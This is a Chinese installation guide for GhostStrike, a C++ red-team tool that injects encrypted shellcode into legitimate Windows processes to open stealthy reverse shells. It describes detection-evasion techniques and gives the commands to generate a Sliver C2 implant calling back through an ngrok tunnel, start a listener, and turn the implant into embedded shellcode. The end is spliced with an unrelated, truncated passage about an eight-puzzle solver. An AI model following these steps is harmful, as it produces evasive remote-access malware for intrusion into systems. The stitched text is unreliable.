GhostStrike项目安装与配置指南

GhostStrike项目安装与配置指南

GhostStrike Deploy stealthy reverse shells using advanced process hollowing with GhostStrike – a C++ tool for ethical hacking and Red Team operations. GhostStrike 项目地址: https://gitcode.com/gh_mirrors/gh/GhostStrike

1. 项目基础介绍

GhostStrike是一个专为红队行动设计的先进网络安全工具,它采用高级技术来规避检测,并在Windows系统上执行进程 hollowing。此项目主要用于教育目的,帮助理解和学习网络安全领域中的高级技巧。

主要编程语言:C++

2. 项目使用的关键技术和框架

  • 动态API解析:使用自定义哈希方法动态解析Windows API,避免基于签名的安全工具检测。
  • Base64编码/解码:对内存中的shellcode进行编码和解码,以隐藏其存在,使得静态分析工具难以检测。
  • 加密密钥生成:使用Windows加密API生成安全的加密密钥,以加密和解密shellcode,增加额外的安全层。
  • XOR加密/解密:使用简单的XOR加密保护shellcode在注入过程中的安全性。
  • 控制流平坦化:实现控制流平坦化来混淆执行路径,使得静态和动态分析工具的分析复杂化。
  • 进程 hollowing:将加密的shellcode注入到合法的Windows进程中,使其能够隐蔽地执行而不引起怀疑。

3. 项目安装和配置准备工作

在开始安装和配置之前,请确保您的系统满足以下要求:

  • 操作系统:Windows
  • C++编译器:任意现代C++编译器,如g++、clang++或Visual Studio。

安装步骤

  1. 克隆项目到本地:

    git clone https://github.com/stivenhacker/GhostStrike.git
    
  2. 打开GhostStrike项目文件夹。

  3. 使用C++编译器编译源代码。以下是使用g++的示例命令:

    g++ -o GhostStrike GhostStrike.cpp
    
  4. 如果编译成功,你将在项目文件夹中得到一个名为GhostStrike的可执行文件。

  5. 根据项目需求,你可能需要配置Ngrok服务、生成Sliver C2植入物、创建监听器等。以下是相关命令的概览:

    • Ngrok服务配置:

      ngrok tcp 443
      
    • 生成Sliver C2植入物:

      generate --mtls x.tcp.ngrok.io --save YourFile.exe
      
    • 创建监听器:

      mtls --lhost 0.0.0.0 --lport 443
      
    • 转换为.bin文件:

      ./donut -i /path/to/YourFile.exe -a 2 -f 1 -o /path/to/YourFile.bin
      
    • 转换为C++ shellcode:

      xxd -i YourFile.bin > YourFile.h
      
    • YourFile.h包含到项目中,并重新编译。

请注意,上述命令仅为示例,实际操作时可能需要根据具体环境和项目要求进行调整。

完成以上步骤后,您应该能够运行GhostStrike项目,并进行相关测试和学习。请确保只在授权的环境中使用此工具,未经授权的使用是违法的。

GhostStrike Deploy stealthy reverse shells using advanced process hollowing with GhostStrike – a C++ tool for ethical hacking and Red Team operations. GhostStrike 项目地址: https://gitcode.com/gh_mirrors/gh/GhostStrike

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

资源下载链接为: https://pan.quark.cn/s/8947b2b6b560 八数码问题,即滑动拼图游戏,是计算机科学中一个经典的图灵完全问题,涉及搜索算法、状态空间复杂度和最优路径查找等核心概念。本项目利用Visual Studio 2017集成开发环境和MFC(Microsoft Foundation Classes)库,实现了八数码问题的求解,并提供了A*算法、全局择优搜索和宽度优先搜索三种搜索算法。以下将对相关知识点进行详细说明。 MFC是微软为Windows应用程序开发提供的一套基于C++的类库,能够简化Windows编程工作,方便开发者构建用户界面、处理系统消息及进行数据存储等。在本项目中,MFC用于创建图形用户界面(GUI),展示拼图状态并接收用户输入,为八数码问题的实现提供了友好的交互平台。 A*算法是一种启发式搜索算法,结合了最佳优先搜索(如Dijkstra算法)和贪婪最佳优先搜索,通过引入启发式函数来估计从当前节点到目标节点的最短路径,从而有效减少搜索空间,提高搜索效率。在八数码问题中,常用的启发式函数是曼哈顿距离或汉明距离,它们能够较好地评估每个状态目标状态的距离。 全局择优搜索,也称为全局最佳优先搜索,是一种优化策略。在搜索过程中,它始终选择当前最有希望的状态进行扩展。在八数码问题中,这意味着每次选取具有最低评估值(通常是启发式函数值加上已走步数)的状态进行下一步操作。 宽度优先搜索(BFS)是一种非启发式搜索策略,按照节点的层次进行扩展,优先考虑离起始状态近的节点。虽然BFS不直接考虑目标距离,但其能够保证找到的路径是最短的,对于八数码问题的解决也有重要意义,尤其是在所有状态距离目标状态的启发式值相同时。 在实现过程中,加入了计时功能,用于对比不同算法的运行效率,帮助理解在实际应用中如何根据问题特性和资源限制选择合适的算法。同时,显示
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